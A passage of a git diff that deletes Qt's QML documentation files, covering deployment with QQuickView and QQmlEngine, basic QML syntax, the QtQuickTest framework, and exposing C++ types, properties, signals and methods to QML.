-package includes the qmlscene tool, which loads \c .qml files. This tool is -useful for developing and testing QML code without the need to write -a C++ application to load the QML runtime. - - - -\section1 Deploying QML-based applications - -To deploy an application that uses QML, the QML runtime must be invoked by -the application. This is done by writing a Qt C++ application that loads the -QQmlEngine by either: - -\list -\li Loading the QML file through a QQuickView instance, or -\li Creating a QQmlEngine instance and loading QML files with QQmlComponent -\endlist - - -\section2 Deploying with QQuickView - -QQuickView is a QWidget-based class that is able to load QML files. -For example, if there is a QML file, \c application.qml, like this: - -\qml - import QtQuick 2.0 - - Rectangle { width: 100; height: 100; color: "red" } -\endqml - -It can be loaded in a Qt application's \c main.cpp file like this: - -\code - #include - #include - - int main(int argc, char *argv[]) - { - QApplication app(argc, argv); - - QQuickView view; - view.setSource(QUrl::fromLocalFile("application.qml")); - view.show(); - - return app.exec(); - } -\endcode - -This creates a QWidget-based view that displays the contents of -\c application.qml. - -The application's \c .pro \l{qmake Project Files}{project file} must specify -the \c declarative module for the \c QT variable. For example: - -\code - TEMPLATE += app - QT += gui declarative - SOURCES += main.cpp -\endcode - - -\section2 Creating a QQmlEngine directly - -If \c application.qml does not have any graphical components, or if it is -preferred to avoid QQuickView for other reasons, the QQmlEngine -can be constructed directly instead. In this case, \c application.qml is -loaded as a QQmlComponent instance rather than placed into a view: - -\code - #include - #include - #include - #include - - int main(int argc, char *argv[]) - { - QApplication app(argc, argv); - - QQmlEngine engine; - QQmlContext *objectContext = new QQmlContext(engine.rootContext()); - - QQmlComponent component(&engine, "application.qml"); - QObject *object = component.create(objectContext); - - // ... delete object and objectContext when necessary - - return app.exec(); - } -\endcode - -See \l {Using QML Bindings in C++ Applications} for more information about using -QQmlEngine, QQmlContext and QQmlComponent, as well -as details on including QML files through \l{The Qt Resource System}{Qt's Resource system}. - - - -\section1 Developing and Prototyping with QML Viewer - -The Declarative UI package includes a QML runtime tool, qmlscene, which loads -and displays QML documents. This is useful during the application development -phase for prototyping QML-based applications without writing your own C++ -applications to invoke the QML runtime. - -*/ - diff --git a/doc/src/qml/qmlsyntax.qdoc b/doc/src/qml/qmlsyntax.qdoc deleted file mode 100644 index 6dfebb5..0000000 --- a/doc/src/qml/qmlsyntax.qdoc +++ /dev/null @@ -1,155 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-syntax.html -\title QML Syntax -\ingroup QML Reference -\brief listing of valid QML syntax - -\tableofcontents - -QML is a declarative language designed to describe the user interface of a -program: both what it looks like, and how it behaves. In QML, a user -interface is specified as a tree of objects with properties. - -JavaScript is used as a scripting language in QML, so you may want -to learn a bit more about it (\l{Javascript Guide}) before diving -deeper into QML. - -\section1 Basic QML Syntax - -QML looks like this: - -\code -import QtQuick 2.0 - -Rectangle { - width: 200 - height: 200 - color: "blue" - - Image { - source: "pics/logo.png" - anchors.centerIn: parent - } -} -\endcode - -Objects are specified by their type, followed by a pair of braces. Object -types always begin with a capital letter. In the above example, there are -two objects, a \l Rectangle, and an \l Image. Between the braces, we can specify -information about the object, such as its properties. - -Properties are specified as \c {propertyname: value}. In the above example, we -can see the Image has a property named \c source, which has been assigned the -value \c "pics/logo.png". The property and its value are separated by a colon. - -Properties can be specified one-per-line: - -\code -Rectangle { - width: 100 - height: 100 -} -\endcode - -or you can put multiple properties on a single line: - -\code -Rectangle { width: 100; height: 100 } -\endcode - -When multiple property/value pairs are specified on a single line, they -must be separated by a semicolon. - -The \c import statement imports the \c Qt \l{QML Modules}{module}, which contains all of the -standard \l {QML Elements}. Without this import statement, the \l Rectangle -and \l Image elements would not be available. - -\section1 Expressions - -In addition to assigning values to properties, you can also assign -expressions written in JavaScript. - -\code -Rotation { - angle: 360 * 3 -} -\endcode - -These expressions can include references to other objects and properties, in which case -a \e binding is established: when the value of the expression changes, the property the -expression has been assigned to is automatically updated to that value. - -\code -Item { - Text { - id: text1 - text: "Hello World" - } - Text { - id: text2 - text: text1.text - } -} -\endcode - -In the example above, the \c text2 object will display the same text as \c text1. If \c text1 is changed, -\c text2 is automatically changed to the same value. - -Note that to refer to other objects, we use their \e id values. (See below for more -information on the \e id property.) - -\section1 QML Comments - -Commenting in QML is similar to JavaScript. -\list -\li Single line comments start with // and finish at the end of the line. -\li Multiline comments start with /* and finish with *\/ -\endlist - -\snippet doc/src/snippets/qml/comments.qml 0 - -Comments are ignored by the engine. They are useful for explaining what you -are doing; for referring back to at a later date, or for others reading -your QML files. - -Comments can also be used to prevent the execution of code, which is -sometimes useful for tracking down problems. - -\code -Text { - text: "Hello world!" - //opacity: 0.5 -} -\endcode - -In the above example, the Text object will have normal opacity, since the -line opacity: 0.5 has been turned into a comment. - -*/ diff --git a/doc/src/qml/qmltest.qdoc b/doc/src/qml/qmltest.qdoc deleted file mode 100644 index a852499..0000000 --- a/doc/src/qml/qmltest.qdoc +++ /dev/null @@ -1,108 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! - \page qmltest.html -\inqmlmodule QtQuick 2 - \title QtQuickTest Reference Documentation - \keyword QtQuickTest Reference Documentation - \brief unit testing framework for QML - - \section1 Introduction - - QtQuickTest is a unit test framework for Qt Quick (QML) applications. - Test cases are written as JavaScript functions within a TestCase - element: - - \code - import QtQuick 2.0 - import QtTest 1.0 - - TestCase { - name: "MathTests" - - function test_math() { - compare(2 + 2, 4, "2 + 2 = 4") - } - - function test_fail() { - compare(2 + 2, 5, "2 + 2 = 5") - } - } - \endcode - - Functions whose names start with \c{test_} are treated as test cases - to be executed. See the documentation for the \l TestCase and - \l SignalSpy elements for more information on writing test cases. - - \section1 Running tests - - Test cases are launched by a C++ harness that consists of - the following code: - - \code - #include - QUICK_TEST_MAIN(example) - \endcode - - Where "example" is an identifier to use to uniquely identify - this set of tests. You should add \c{CONFIG += qmltestcase}. - for example: - - \code - TEMPLATE = app - TARGET = tst_example - CONFIG += warn_on qmltestcase - SOURCES += tst_example.cpp - \endcode - - The test harness scans the specified source directory recursively - for "tst_*.qml" files. If \c{QUICK_TEST_SOURCE_DIR} is not defined, - then the current directory will be scanned when the harness is run. - Other *.qml files may appear for auxillary QML components that are - used by the test. - - The \c{-input} command-line option can be set at runtime to run - test cases from a different directory. This may be needed to run - tests on a target device where the compiled-in directory name refers - to a host. For example: - - \code - tst_example -input /mnt/SDCard/qmltests - \endcode - - See \c{tests/qmlauto} in the source tree for an example of creating a - test harness that uses the \c{QUICK_TEST_SOURCE_DIR} macro. - - If your test case needs QML imports, then you can add them as - \c{-import} options to the the test program command-line by adding - the following line to your .pro file: - - \code - IMPORTPATH += $$PWD/../imports/my_module1 $$PWD/../imports/my_module2 - \endcode -*/ diff --git a/doc/src/qml/qmltypes.qdoc b/doc/src/qml/qmltypes.qdoc deleted file mode 100644 index b75c191..0000000 --- a/doc/src/qml/qmltypes.qdoc +++ /dev/null @@ -1,787 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -/*! -\page qml-c++types.html -\title Creating QML Types -\brief exposing Qt C++ types into the QML engine - -The \l{The QML Engine}{QML engine} can instantiate any Qt C++ construct -such as \l{The Property System}{properties}, functions, and data models into -the QML context allowing the constructs to be accessible from within QML. - -\target register-c++-type -\section1 Register a Type - - In an application or a \l{QML Plugins}{plugin}, the \c qmlRegisterType - template will register a class to the QML engine. - -\code -template -int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName) -\endcode - - \l qmlRegisterType() registers the C++ type \a T with the QML system, and - makes it available to the QML context under the name \c qmlName in library - \c uri version \c versionMajor.versionMinor. The \c qmlName can be the same - as the C++ type name. - - Suppose that a \c Person class defined in a C++ is to be exposed into the - QML context. The class must be a subclass of \l{QObject} and have a default - constructor. The \l{The Property System}{properties} created with the - Q_PROPERTY macro are visible in the QML context as well. - \snippet declarative/cppextensions/referenceexamples/adding/person.h 0 - - The application registers the class to the runtime with the - \l{qmlRegisterType()}. - - \snippet declarative/cppextensions/referenceexamples/adding/main.cpp 0 - - The Person type is then imported with the \c "People 1.0" module and its - properties are accessible in a QML file. -\snippet declarative/cppextensions/referenceexamples/adding/example.qml 0 - - The \l {Extending QML - Adding Types Example}{Adding Types} example - demonstrates as usage of the \l qmlRegisterType(). - - Alternatively, these functions provide a way for other types of C++ types - to be visible in the QML context. - \list - \li \l qmlRegisterModuleApi() is suited for registering either a QJSValue - or QObject module API (shared instance) into a namespace - \li \l qmlRegisterUncreatableType() is suited for attached - properties and enum types. - \li \l qmlRegisterTypeNotAvailable() is for - reserving a namespace and suited for generating useful errors. - \li \l qmlRegisterInterface() - for registering base or abstract classes for - \l{qml-c++-coercion}{coercion and inheritance}. This is useful for general - Qt objects or \l{Qt Objects and Interfaces}{pointers} to objects. - \li \l qmlRegisterExtendedType() - for \l{qml-c++-extension}{extended types} - \endlist - - \section2 Qt Objects and Interfaces - QML can bind to complex objects such as pointers to objects or lists. As QML - is typesafe, the \l{The QML Engine}{QML engine} ensures that only - valid types are assigned to these properties. - - The QML engine treats pointers to objects or Qt interfaces the same - way as regular properties. Thus, the lists or pointers are created as - properties using the Q_PROPERTY() macro. - - \snippet examples/declarative/cppextensions/referenceexamples/properties/birthdayparty.h 1 - - The \c host is an \l{qml-expose-properties}{exposed property} that can bind - to objects or lists of objects. The property type, in this case \c Person, - must be \l{register-c++-type}{registered} into the runtime. - - QML also supports assigning Qt interfaces. To assign to a property whose - type is a Qt interface pointer, the interface must also be registered with - QML. As they cannot be instantiated directly, registering a Qt interface is - different from registering a new QML type. The following function is used - instead: - - \code - template - int qmlRegisterInterface(const char *typeName) - \endcode - - This function registers the C++ interface \a T with the QML system as \a - typeName. - - Following registration, QML can \l{qml-c++-coercion}{coerce} objects that - implement this interface for assignment to appropriately typed properties. - -\target qml-expose-properties -\section1 Exposing Qt C++ Properties - - The \l{The QML Engine}{QML engine} utilizes Qt's - \l{The Property System}{Property System} and in effect, QML - \l{Property Binding in QML}{property bindings} also use Qt properties. - - Essentially, a Qt C++ property has a \e write function, \e read function, - and has a signal function. QML properties are inheritely public, both - readable and writable, albeit type-safe. QML properties may also have - signals which are emitted when the property value or binding changes. - - The QML property equivalent of a Qt C++ property is created as a property - with the \l Q_PROPERTY() macro. There needs to be C++ functions assigned as - the property's read, write, and signal handler function. - - The \l {register-c++-type}{Register a Type} section mentions that the - \c Person class has properties that are exposed to the QML context. The QML - properties are created with the \c Q_PROPERTY macro. The macro associates - the properties to the read, write, and singal functions in its argument. - -\code -Q_PROPERTY(int size READ size WRITE setSize NOTIFY shoeChanged) -\endcode - - A \c Shoe class might have an integer property called \c size. We set the \c - size() function as the \c READ function and the \c setSize() function to be - the \c WRITE function. In a QML application, when a property is read, the \c - size() is called and when the property's binding changes, the \c setSize() - is called. The READ function, by definition, must return the same type as - the property. - - We may also connect a \l{signals and slots}{signal} to a property. The \c - size property may have a \c shoeChanged signal indicated after the \c NOTIFY - parameter of the macro. The \c shoeChanged becomes a \l{QML Signal and - Handler Event System}{QML signal} and the runtime will create QML handler - called \c onShoeChanged. Whenever the size property's binding changes, the - \c shoeChanged signal is emitted and the \c onShoeChanged handler is - invoked. In the handler, commands such as \l{JavaScript Expressions in - QML}{JavaScript expressions} can perform clean-up operations or call other - functions. - - \b{Note:} The QML signal handler will always be named - onChanged, regardless of the name used for the NOTIFY - signal in C++. We recommend using Changed() for the - NOTIFY signal in C++. - - We may also make the property a \c read-only property by placing - \c CONSTANT in the parameter. Changing the binding will generate an error. -\code -//A read-only property -Q_PROPERTY(int size READ size CONSTANT) -\endcode - -\section2 Default Property - - When imported, QML components will bind their children to their designated - \l{default-property}{default property}. This is helpful, for example, - to redirect any declared child components to a property of another - component. - - The runtime can set a property to be the default property by tagging the - property with \c DefaultProperty in The Q_CLASSINFO() macro. - - \code - Q_CLASSINFO("DefaultProperty", "pipe") - \endcode - - The property tagged as default property, \c pipe, can only be an object - property, or a list property. - - A default property is optional. A derived class inherits its base class's - default property, but may override it in its own declaration. The \c pipe - property can refer to a property declared in the class itself, or a property - inherited from a base class. - - The \l{Extending QML - Default Property Example}{Default Property} example - uses \l{default-property}{default properties} to assign the children of - a component to a specific property. - - \section2 Grouped Properties - - A property group may be functionally defined as a set of related properties. - For example, the \l{Layouts with Anchors}{anchors} are a group of - related properties. In practice, property groups resemble a parent object - where the individual properties are accessed as children. - - A grouped property's member properties are accessed using the - . notation. For example, shoe.color is the way to access - the \c color property in the \c shoe property group . - - \snippet examples/declarative/cppextensions/referenceexamples/grouped/example.qml ungrouped - - Alternatively, the group can be accessed as a set. - \snippet examples/declarative/cppextensions/referenceexamples/grouped/example.qml grouped - - A grouped property block is implemented as a read-only object property. The - \c shoe property shown is declared like this: - - \snippet examples/declarative/cppextensions/referenceexamples/grouped/person.h 1 - - The \c ShoeDescription type declares the properties available to the grouped - property block - in this case the \c size, \c color, \c brand and \c price properties. - - Grouped property blocks may declared and accessed be recusively. - - \l {Extending QML - Grouped Properties Example} shows the complete code used to - implement the \c shoe property grouping. - - \section2 Attached Properties - - Attached properties annotate or add properties to another type or component. - For example, the \l Keys \e{attaching type} contains \e{attached properties} - that other elements may use to respond to key input. Conceptually, attached - properties are a \e type exporting a set of additional properties that can - be set on any other object instance. - - The attaching type is a QObject derived type. The properties on the - attaching type are those that become available for use as attached - properties. - - \snippet examples/declarative/cppextensions/referenceexamples/attached/example.qml 1 - - The \c BirthdayParty is called the attaching type and the - \c Boy instance the attachee object instance. The property \c rsvp is the - attached property. - - Any Qt C++ type can become an attaching type by declaring the \c - qmlAttachedProperties() a public member function and declaring that the - class has QML_HAS_ATTACHED_PROPERTIES. - - \code - static AttachedPropertiesType *qmlAttachedProperties(QObject *object); - \endcode - - This static pointer returns an attachment object, of type \a - AttachedPropertiesType, for the attachee \a object instance. It is - customary, though not strictly required, for the attachment object to be - parented to \a object to prevent memory leaks. - The \l {Extending QML - Attached Properties Example}{Birthday} - class has \c BirthdayPartyAttached attached properties. - - \snippet examples/declarative/cppextensions/referenceexamples/attached/birthdayparty.h static attached - - The QML_DECLARE_TYPEINFO() macro can notify the runtime that the type has - attached properties with the QML_HAS_ATTACHED_PROPERTIES argument. - - \snippet examples/declarative/cppextensions/referenceexamples/attached/birthdayparty.h declare attached - - The qmlAttachedProperties method will be called at most once for each - attachee object instance. The QML engine will cache the returned instance - pointer for subsequent attached property accesses. Consequently the - attachment object may not be deleted until \a object is destroyed. - - A common usage scenario is for a type to enhance the properties - available to its children in order to gather instance specific data. - - \snippet examples/declarative/cppextensions/referenceexamples/attached/example.qml begin - \snippet examples/declarative/cppextensions/referenceexamples/attached/example.qml rsvp - \snippet examples/declarative/cppextensions/referenceexamples/attached/example.qml end - - However, as a QML type cannot limit the instances to which the attachment - object must attach, the following is also allowed, even though adding a - birthday party rsvp in this context will have no effect. Instead, \c - BirthdayParty could be a separate component with a property \c rsvp. - \code - GraduationParty { - Boy { BirthdayParty.rsvp: "2009-06-01" } - } - \endcode - - From C++, including the attaching type implementation, the attachment object - for an instance can be accessed using the following method: - - \code - template - QObject *qmlAttachedPropertiesObject(QObject *attachee, bool create = true); - \endcode - - This returns the attachment object attached to \a attachee by the attaching - type \a T. If type \a T is not a valid attaching type, this method always - returns 0. If \a create is true, a valid attachment object will always be - returned, creating it if it does not already exist. If \a create is false, - the attachment object will only be returned if it has previously been - created. - - The \c rsvp properties of each guest in the \c Birthday party is accessible - through the \c qmlAttachedPropertiesObject function. - - \snippet examples/declarative/cppextensions/referenceexamples/attached/main.cpp query rsvp - - The - \l {Extending QML - Attached Properties Example}{Attached Properties Example} - demonstrates the creation of attached properties with a birthday party - scenario. - -\section2 Object and List Properties - - QML can set properties of types that are more complex than basic intrinsics like - integers and strings. Properties can also be object pointers, Qt interface - pointers, lists of object pointers, and lists of Qt interface pointers. As QML - is typesafe it ensures that only valid types are assigned to these properties, - just like it does for primitive types. - - Properties that are pointers to objects or Qt interfaces are declared with the - Q_PROPERTY() macro, just like other properties. The \c host property - declaration looks like this: - - \snippet examples/declarative/cppextensions/referenceexamples/properties/birthdayparty.h 1 - - As long as the property type, in this case \c Person, is registered with QML the - property can be assigned. - - QML also supports assigning Qt interfaces. To assign to a property whose type - is a Qt interface pointer, the interface must also be registered with QML. As - they cannot be instantiated directly, registering a Qt interface is different - from registering a new QML type. The following function is used instead: - - \code - template - int qmlRegisterInterface(const char *typeName) - \endcode - - \c qmlRegisterInterface registers the C++ interface \a T with the QML system - as \a typeName. - - Following registration, QML can coerce objects that implement this interface - for assignment to appropriately typed properties. - - - \snippet examples/declarative/cppextensions/referenceexamples/properties/example.qml 0 - - The \c guests property is a \e{list property} of \c Person objects. A list - of \c Person objects are bound to the \c BirthdayParty's \c host property, - and assigns three \c Person objects to the guests property. - - Properties that are lists of objects or Qt interfaces are also declared with - the Q_PROPERTY() macro. However, list properties must have the type - \l{QQmlListProperty}{QQmlListProperty}. - - \snippet examples/declarative/cppextensions/referenceexamples/properties/birthdayparty.h 2 - - As with the other property types, the type of list content, \a T, must be - \l{register-c++-type}{registered} into the runtime. - - \snippet examples/declarative/cppextensions/referenceexamples/properties/main.cpp register list - - \l {Extending QML - Object and List Property Types Example} shows the - complete code used to create the \c BirthdayParty type. For more - information, visit \l{QQmlListProperty}{QQmlListProperty} - for creating list properties. - -\section2 Sequence Types - - Certain C++ sequence types are supported transparently in QML as JavaScript - Array types. - In particular, QML currently supports: - \list - \li \c {QList} - \li \c {QList} - \li \c {QList} - \li \c {QList} and \c{QStringList} - \li \c {QList} - \endlist - - These sequence types are implemented directly in terms of the underlying C++ - sequence. There are two ways in which such sequences can be exposed to QML: - as a Q_PROPERTY of the given sequence type; or as the return type of a - Q_INVOKABLE method. There are some differences in the way these are - implemented, which are important to note. - - If the sequence is exposed as a Q_PROPERTY, accessing any value in the - sequence by index will cause the sequence data to be read from the QObject's - property, then a read to occur. Similarly, modifying any value in the - sequence will cause the sequence data to be read, and then the modification - will be performed and the modified sequence will be written back to the - QObject's property. - - If the sequence is returned from a Q_INVOKABLE function, access and mutation - is much cheaper, as no QObject property read or write occurs; instead, the - C++ sequence data is accessed and modified directly. - - Other sequence types are not supported transparently, and instead an - instance of any other sequence type will be passed between QML and C++ as an - opaque QVariantList. - - \b {Important Note:} There are some minor differences between the - semantics of such sequence Array types and default JavaScript Array types - which result from the use of a C++ storage type in the implementation. In - particular, deleting an element from an Array will result in a - default-constructed value replacing that element, rather than an Undefined - value. Similarly, setting the length property of the Array to a value larger - than its current value will result in the Array being padded out to the - specified length with default-constructed elements rather than Undefined - elements. Finally, the Qt container classes support signed (rather than - unsigned) integer indexes; thus, attempting to access any index greater - than INT_MAX will fail. - - The default-constructed values for each sequence type are as follows: - \table - \row \li QList \li integer value 0 - \row \li QList \li real value 0.0 - \row \li QList \li boolean value \c {false} - \row \li QList and QStringList \li empty QString - \row \li QList \li empty QUrl - \endtable - - If you wish to remove elements from a sequence rather than simply replace - them with default constructed values, do not use the indexed delete operator - ("delete sequence[i]") but instead use the \c {splice} function - ("sequence.splice(startIndex, deleteCount)"). - - -\section2 Property Signals - - All properties on custom types automatically support property binding. - However, for binding to work correctly, QML must be able to reliably - determine when a property has changed so that it knows to reevaluate any - bindings that depend on the property's value. QML relies on the presence of - a \l {Qt's Property System}{NOTIFY signal} for this determination. - - Here is the \c host property declaration: - - \snippet examples/declarative/cppextensions/referenceexamples/binding/birthdayparty.h 0 - - The NOTIFY attribute is followed by a signal name. It is the responsibility - of the class implementer to ensure that whenever the property's value - changes, the NOTIFY signal is emitted. The signature of the NOTIFY signal is - not important to QML. - - To prevent loops or excessive evaluation, developers should ensure that the - signal is only emitted whenever the property's value is actually changed. If - a property, or group of properties, is infrequently used it is permitted to - use the same NOTIFY signal for several properties. This should be done with - care to ensure that performance doesn't suffer. - - To keep QML reliable, if a property does not have a NOTIFY signal, it cannot - be used in a binding expression. However, the property can still be assigned - a binding as QML does not need to monitor the property for change in that - scenario. - - Consider a custom type, \c TestElement, that has two properties, \c a and - \c b. Property \c a does \e not have a NOTIFY signal, and property \c b does - have a NOTIFY signal. - - \code - TestElement { - // This is OK - a: b - } - TestElement { - // Will NOT work - b: a - } - \endcode - - The presence of a NOTIFY signal does incur a small overhead. There are cases - where a property's value is set at object construction time, and does not - subsequently change. The most common case of this is when a type uses \l - {Grouped Properties}, and the grouped property object is allocated once, and - only freed when the object is deleted. In these cases, the CONSTANT - attribute may be added to the property declaration instead of a NOTIFY - signal. - - \snippet examples/declarative/cppextensions/referenceexamples/binding/person.h 0 - - Extreme care must be taken here or applications using your type may misbehave. - The CONSTANT attribute should only be used for properties whose value is set, - and finalized, only in the class constructor. All other properties that want - to be used in bindings should have a NOTIFY signal instead. - - \l {Extending QML - Binding Example} shows the BirthdayParty example updated to - include NOTIFY signals for use in binding. - -\section1 Signals Support - - A \l{signals and slots}{signal} in Qt C++ is readily available as a - \l{QML Signal and Handler Event System}{QML signal}. A signal will have - a corresponding signal \e{handler}, created automatically. The handler - name will have \c on prepended at the beginning of the name. The first - character of the signal is uppercased for the signal handler. The - signal parameter is also availabe to the QML signal. - - \snippet examples/declarative/cppextensions/referenceexamples/signal/birthdayparty.h 0 - The QML engine will create a handler for the \c partyStarted signal - called \c onPartyStarted. - \snippet examples/declarative/cppextensions/referenceexamples/signal/example.qml 0 - - Classes may have multiple signals with the same name, but only the final - signal is accessible as a QML signal. Note that signals with the same name - but different parameters cannot be distinguished from one another. - - Signal parameters are exposed and can be any one of the QML - \l{QML Basic Types}{basic types} as well registered object types. Accessing - unregistered types will not generate an error, but the parameter value will - not be accessible from the handler. - - To use signals from items not created in QML, access their signals with the - \l {Connections} element. - - Additionally, if a property is added to a C++ class, all QML elements - based on that C++ class will have a \e{value-changed} signal handler - for that property. The name of the signal handler is - \e{onChanged}, with the first letter of the property - name being upper case. - - The \l {Extending QML - Signal Support Example}{Signal Support Example} - shows an example application exposing signals to a QML component. - -\section1 Exposing Methods - - The Q_INVOKABLE macro exposes any Qt C++ method as a QML method. - - \snippet examples/declarative/cppextensions/referenceexamples/methods/birthdayparty.h 0 - - In a QML file, we can invoke the method as we would a - \l{JavaScript Expressions in QML}{JavaScript expression}. - \snippet examples/declarative/cppextensions/referenceexamples/methods/example.qml 0 - - \l {Extending QML - Methods Example}{Methods example} uses the Q_INVOKABLE - method to expose methods and demonstrates some usages of the method in - an application. - - An alternative to the Q_INVOKABLE macro is to declare the C++ method as a - \l{signals and slot}{slot}. - - \code - slots: - void invite(const QString &name); - \endcode - -\section1 Type Revisions and Versions - - Type revisions and versions allow new properties or methods to exist in the - new version while remaining compatible with previous versions. - - Consider these two QML files: - \code - // main.qml - import QtQuick 1.0 - Item { - id: root - MyComponent {} - } - \endcode - - \code - // MyComponent.qml - import MyModule 1.0 - CppItem { - value: root.x - } - \endcode - where \c CppItem maps to the C++ class \c QCppItem. - - If the author of QCppItem adds a \c root property to QCppItem in a new - version of the module, \c root.x now resolves to a different value because - \c root is also the \c id of the top level component. The author could - specify that the new \c root property is available from a specific minor - version. This permits new properties and features to be added to existing - elements without breaking existing programs. - - The REVISION tag is used to mark the \c root property as added in revision 1 - of the class. Methods such as Q_INVOKABLE's, signals and slots can also be - tagged for a revision using the \c Q_REVISION(x) macro: - - \code - class CppElement : public BaseObject - { - Q_OBJECT - Q_PROPERTY(int root READ root WRITE setRoot NOTIFY rootChanged REVISION 1) - - signals: - Q_REVISION(1) void rootChanged(); - }; - \endcode - - To register the new class revision to a particular version the following function is used: - - \code - template - int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName) - \endcode - - To register \c CppElement version 1 for \c {MyModule 1.1}: - - \code - qmlRegisterType("MyModule", 1, 1, "CppElement") - \endcode - - \c root is only available when MyModule 1.1 is imported. - - For the same reason, new elements introduced in later versions should use - the minor version argument of qmlRegisterType. - - This feature of the language allows for behavioural changes to be made - without breaking existing applications. Consequently QML module authors - should always remember to document what changed between minor versions, and - QML module users should check that their application still runs correctly - before deploying an updated import statement. - - You may also register the revision of a base class that your module depends upon - using the qmlRegisterRevision() function: - - \code - template - int qmlRegisterRevision(const char *uri, int versionMajor, int versionMinor) - \endcode - - For example, if \c BaseObject is changed and now has a revision 1, you can specify that - your module uses the new revision: - - \code - qmlRegisterRevision("MyModule", 1, 1); - \endcode - - This is useful when deriving from base classes not declared as part of your - module, e.g. when extending classes from the QtQuick library. - - The revision feature of QML allows for behavioral changes without breaking - existing applications. Consequently, QML module authors should always - remember to document what changed between minor versions, and QML module - users should check that their application still runs correctly before - deploying an updated import statement. - -\target qml-c++-coercion -\section1 Inheritance and Coercion - - QML supports C++ inheritance hierarchies and can freely coerce between - known, valid object types. This enables the creation of common base classes - that allow the assignment of specialized classes to object or list - properties. - - \snippet examples/declarative/cppextensions/referenceexamples/coercion/example.qml 0 - - The QML snippet shown above assigns a \c Boy object to the \c - BirthdayParty's \c host property, and assigns three other objects to the \c - guests property. Both the \c host and the \c guests properties binds to the - \c Person type, but the assignment is valid as both the \c Boy and \c Girl - objects inherit from \c Person. - - To assign to a property, the property's type must have been - \l{register-c++-type}{registered} to the \l{The QML Engine}{declarative - runtime}. If a type that acts purely as a base class that cannot be - instantiated from QML needs to be registered as well. The - \l qmlRegisterType() is useful for this occasion. - - \code - template - int qmlRegisterType() - \endcode - - This function registers the C++ type \a T with the QML system. The - parameterless call to the template function qmlRegisterType() does not - define a mapping between the C++ class and a QML element name, so the type - is not instantiable from QML, but it is available for type coercion. - - \snippet examples/declarative/cppextensions/referenceexamples/coercion/main.cpp 0 - \snippet examples/declarative/cppextensions/referenceexamples/coercion/main.cpp register boy girl - The \c Person class is registered withouth the parameters. Both the - \c Boy and \c Girl class derive from the \c Person class. - - Type \a T must inherit QObject, but there are no restrictions on whether it - is concrete or the signature of its constructor. - - QML will automatically coerce C++ types when assigning to either an object - property, or to a list property. Only if coercion fails does an assignment - error occur. - - The \l{Extending QML - Inheritance and Coercion Example}{Inheritance and Coercion Example} - shows the complete code used to create the \c Boy and \c Girl types. - -\target qml-c++-extension -\section1 Extension Objects - - \snippet examples/declarative/cppextensions/referenceexamples/extended/example.qml 0 - - The \c leftMargin property is a new property to an existing C++ type, - \l QLineEdit, without modifying its source code. - - When integrating existing classes and technology into QML, APIs will - often need tweaking to fit better into the declarative environment. - Although the best results are usually obtained by modifying the original - classes directly, if this is either not possible or is complicated by some - other concerns, extension objects allow limited extension possibilities - without direct modifications. - - \e{Extension objects} add additional properties to an existing type. - Extension objects can only add properties, not signals or methods. An - extended type definition allows the programmer to supply an additional type, - known as the \e{extension type}, when registering the class. The - properties are transparently merged with the original target class when used - from within QML. - - The \l qmlRegisterExtendedType() is for registering extended types. Note - that it has two forms. - \code - template - int qmlRegisterExtendedType(const char *uri, int versionMajor, int versionMinor, const char *qmlName) - - template - int qmlRegisterExtendedType() - \endcode - functions should be used instead of the regular \c qmlRegisterType() variations. - The arguments are identical to the corresponding non-extension registration functions, - except for the ExtendedT parameter which is the type - of the extension object. - - An extension class is a regular QObject, with a constructor that takes a - QObject pointer. However, the extension class creation is delayed until the - first extended property is accessed. The extension class is created and the - target object is passed in as the parent. When the property on the original - is accessed, the corresponding property on the extension object is used - instead. - - The \l{Extending QML - Extension Objects}{Extension Objects} example - demonstrates a usage of extension objects. - -\section1 Property Value Sources - -\snippet examples/declarative/cppextensions/referenceexamples/valuesource/example.qml 0 -\snippet examples/declarative/cppextensions/referenceexamples/valuesource/example.qml 1 - -The QML snippet shown above applies a property value source to the \c announcement property. -A property value source generates a value for a property that changes over time. - -Property value sources are most commonly used to do animation. Rather than -constructing an animation object and manually setting the animation's "target" -property, a property value source can be assigned directly to a property of any -type and automatically set up this association. - -The example shown here is rather contrived: the \c announcement property of the -\c BirthdayParty object is a string that is printed every time it is assigned and -the \c HappyBirthdaySong value source generates the lyrics of the song -"Happy Birthday". - -\snippet examples/declarative/cppextensions/referenceexamples/valuesource/birthdayparty.h 0 - -Normally, assigning an object to a string property would not be allowed. In -the case of a property value source, rather than assigning the object instance -itself, the QML engine sets up an association between the value source and -the property. - -Property value sources are special types that derive from the -QQmlPropertyValueSource base class. This base class contains a single method, -QQmlPropertyValueSource::setTarget(), that the QML engine invokes when -associating the property value source with a property. The relevant part of -the \c HappyBirthdaySong type 